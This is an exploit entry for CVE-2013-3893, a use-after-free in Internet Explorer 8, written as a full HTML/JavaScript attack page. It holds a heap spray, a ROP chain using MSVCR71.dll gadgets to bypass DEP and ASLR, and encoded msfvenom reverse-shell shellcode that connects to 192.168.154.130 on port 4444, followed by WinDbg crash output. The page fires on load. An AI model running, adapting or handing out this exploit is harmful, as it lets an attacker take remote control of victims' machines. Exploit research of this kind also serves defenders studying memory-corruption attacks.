# Exploit Title: Microsoft Internet Explorer 8 - 'SetMouseCapture ' Use After Free
# Date: 15/05/2021
# CVE : CVE-2013-3893
# PoC: https://github.com/travelworld/cve_2013_3893_trigger.html/blob/gh-pages/params.json
# Exploit Author: SlidingWindow
# Vendor Advisory: https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2887505?redirectedfrom=MSDN
# Tested on: Microsoft Internet Explorer 8 (version: 8.0.7601.17514) on Windows 7 SP1 (Version 6.1 Build 7601 SP1)
# Bypasses: DEP, ASLR using MSVCR71.DLL
# Thanks to @corelanc0d3r for awesome Heap Exploitation Training and @offsectraining for OSCP training
<html>
<script>
var spraychunks = new Array();
// Use BSTR spray since DEPS spray didn't work here
function heapspray()
{
var ropchain = unescape("%u122c%u0c0c"); //EAX now points here. EDX = [EAX+0x70]. So call EDX will take a forward jump to stack-heap flip: 0x7c348b05 : # XCHG EAX,ESP # RETN
//ESP points here after stack-heap flip. jump over padding+stack-heap flip into ROP chain.
ropchain += unescape("%u6bd5%u7c36"); //0x7c366bd5 : # ADD ESP,100 # RETN ** [MSVCR71.dll] ** | {PAGE_EXECUTE_READ}
//Some padding
ropchain += unescape("%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565%u6262%u6262%u6363%u6363%u6464%u6464%u6565%u6565");
//ESP will point to 0x0c0c122c after stack-heap flip.
ropchain += unescape("%u8b05%u7c34"); //0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll] ** | {PAGE_EXECUTE_READ}
//More padding for ADD ESP, 100
ropchain += unescape("%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565%u6565");
//rop chain generated with mona.py - www.corelan.be
//ropchain needed a little fix
ropchain += unescape(
"" + // #[---INFO:gadgets_to_set_ebp:---] :
"%u1cab%u7c35" + // 0x7c351cab : ,# POP EBP # RETN [MSVCR71.dll]
"%u1cab%u7c35" + // 0x7c351cab : ,# skip 4 bytes [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_ebx:---] :
"%u728e%u7c34" + // 0x7c34728e : ,# POP EAX # RETN [MSVCR71.dll]
"%ufdff%uffff" + // 0xfffffdff : ,# Value to negate, will become 0x00000201
"%u684b%u7c36" + // 0x7c36684b : ,# NEG EAX # RETN [MSVCR71.dll]
"%u1695%u7c37" + // 0x7c371695 : ,# POP EBX # RETN [MSVCR71.dll]
"%uffff%uffff" + // 0xffffffff : ,#
"%u5255%u7c34" + // 0x7c345255 : ,# INC EBX # FPATAN # RETN [MSVCR71.dll]
"%u2174%u7c35" + // 0x7c352174 : ,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_edx:---] :
"%u5937%u7c34" + // 0x7c345937 : ,# POP EDX # RETN [MSVCR71.dll]
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
"%u1eb1%u7c35" + // 0x7c351eb1 : ,# NEG EDX # RETN [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_ecx:---] :
"%u0c81%u7c36" + // 0x7c360c81 : ,# POP ECX # RETN [MSVCR71.dll]
"%ucd8c%u7c38" + // 0x7c38cd8c : ,# &Writable location [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_edi:---] :
"%u4648%u7c35" + // 0x7c354648 : ,# POP EDI # RETN [MSVCR71.dll]
"%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"" + // #[---INFO:gadgets_to_set_esi:---] :
"%u50dd%u7c36" + // 0x7c3650dd : ,# POP ESI # RETN [MSVCR71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
"%u5194%u7c34" + // 0x7c345194 : ,# POP EAX # RETN [MSVCR71.dll]
// "%ua140%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
// "%ua051%u7c37" + // 7c37a051 + 0xEF should become 0x7c37a140, which is a pointer to &VirtualProtect()
// Because next instruction adds 0xEF into AL.
"%ua151%u7c37" + // 7c37a151 + + 0xEF should become 0x7c37a140, which is a pointer to &VirtualProtect()
// Because next instruction adds 0xEF into AL.
"" + // #[---INFO:pushad:---] :
"%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"" + // #[---INFO:extras:---] :
"%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
""); // :
// msfvenom -p windows/shell_reverse_tcp -a x86 lhost=192.168.154.130 lport=4444 -b '\x00' -f js_le
// First few bytes, %uc481%ufa24%uffff (which is \x81\xc4\x24\xfa\xff\xff # add esp,-1500) move ESP away from EIP to avoid GetPC() routine from corrupting our shellcode
var shellcode = unescape("%uc481%ufa24%uffff%uccd9%u74d9%uf424%ube5d%uba98%ue3da%uc931%u52b1%u7531%u8317%u04c5%ued03%u38a9%uf116%u3e26%u09d9%u5fb7%uec53%u5f86%u6507%u6fb8%u2b43%u1b35%udf01%u69ce%ud08e%uc767%udfe8%u7478%u7ec8%u87fb%ua01d%u47c2%ua150%ub503%uf399%ub1dc%ue30c%u8f69%u888c%u0122%u6d95%u20f2%u20b4%u7a88%uc316%uf75d%udb1f%u3282%u50e9%uc870%ub0e8%u3148%ufd46%uc064%u3a96%u3b42%u32ed%uc6b0%u81f6%u1cca%u1172%ud66c%ufd24%u3b8c%u76b2%uf082%ud0b0%u0787%u6b14%u8cb3%ubb9b%ud635%u1fbf%u8c1d%u06de%u63fb%u58de%udca4%u137a%u0849%u7ef7%ufd06%u803a%u69d6%uf34c%u36e4%u9be6%ube44%u5c20%u95aa%uf295%u1655%udbe6%u4291%u73b6%ueb33%u835d%u3ebc%ud3f1%u9112%u83b2%u41d2%uc95b%ubedc%uf27b%ud736%u0916%u18d1%u8b4e%uf1a3%uab8d%u5db2%u4d1b%u4dde%uc64d%uf777%u9cd4%uf8e6%ud9c2%u7229%u1ee1%u73e7%u0c8c%u7390%u6edb%u8b37%u06f1%u1edb%ud69e%u0292%u8109%uf5f3%u4740%uacee%u75fa%u29f3%u3dc4%u8a28%ubccb%ub6bd%uaeef%u367b%u9ab4%u61d3%u7462%udb92%u2ec4%ub74c%ua68e%ufb09%ub010%ud615%u5ce6%u8fa7%u63be%u5808%u1c37%uf874%uf7b8%u083c%u55f3%u8114%u0c5a%ucc24%ufb5c%ue96b%u09de%u0e14%u78fe%u4a11%u91b8%uc36b%u952d%ue4d8%u4167");
var junk = unescape("%u2020%u2020");
while (junk.length < 0x4000) junk += junk;
offset = 0x204/2 ; //0c0c1228
var junk_front = junk.substring(0,offset);
var junk_end = junk.substring(0,0x800 - junk_front.length - ropchain.length - shellcode.length)
var smallblock = junk_front + ropchain + shellcode + junk_end;
var largeblock = "";
while (largeblock.length < 0x80000) { largeblock = largeblock + smallblock; }
// make allocations
for (i = 0; i < 0x450; i++) { spraychunks[i] = largeblock.substring(0, (0x7fb00-6)/2); }
}
function alloc(nr_alloc){
for (var i=0; i < nr_alloc; i++){
divobj = document.createElement('div');
// Allocate 0x25 (37 decimal) bytes. Vulnerable object size = 0x4c bytes
divobj.className = "\u1228\u0c0c\u4141\u4141\u4242\u4242\u4343\u4343\u4444\u4444\u4545\u4545\u4646\u4646" +
"\u4747\u4747\u4848\u4949\u4949\u5050\u5050\u5151\u5151\u5252\u5252\u5353\u5353\u5454" +
"\u5454\u5555\u5555\u5656\u5656\u5757\u5757\u5858\u5858";
}
}
heapspray();
function trigger()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
heapspray();
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
//Vulnerable Object is freed here
document.write("");
//Replace/Reclaim the freed object here.
//Object size is 0x4c
alloc(0x20);
}
id_0['outerText']="";
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
<!-- Debug: Taking a different code path for this exploit
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=00000100 ecx=40404040 edx=00000001 esi=0089c098 edi=00000000
eip=7467b68d esp=0301c34c ebp=0301c360 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
mshtml!CElement::Doc:
7467b68d 8b01 mov eax,dword ptr [ecx] ds:002b:40404040=????????
0:005> u eip
mshtml!CElement::Doc:
7467b68d 8b01 mov eax,dword ptr [ecx]
7467b68f 8b5070 mov edx,dword ptr [eax+70h]
7467b692 ffd2 call edx
7467b694 8b400c mov eax,dword ptr [eax+0Ch]
7467b697 c3 ret
7467b698 90 nop
7467b699 90 nop
7467b69a 90 nop
0:005> ub eip
mshtml!CElement::SecurityContext+0x22:
7467b681 8b01 mov eax,dword ptr [ecx]
7467b683 8b5070 mov edx,dword ptr [eax+70h]
7467b686 ffe2 jmp edx
7467b688 90 nop
7467b689 90 nop
7467b68a 90 nop
7467b68b 90 nop
7467b68c 90 nop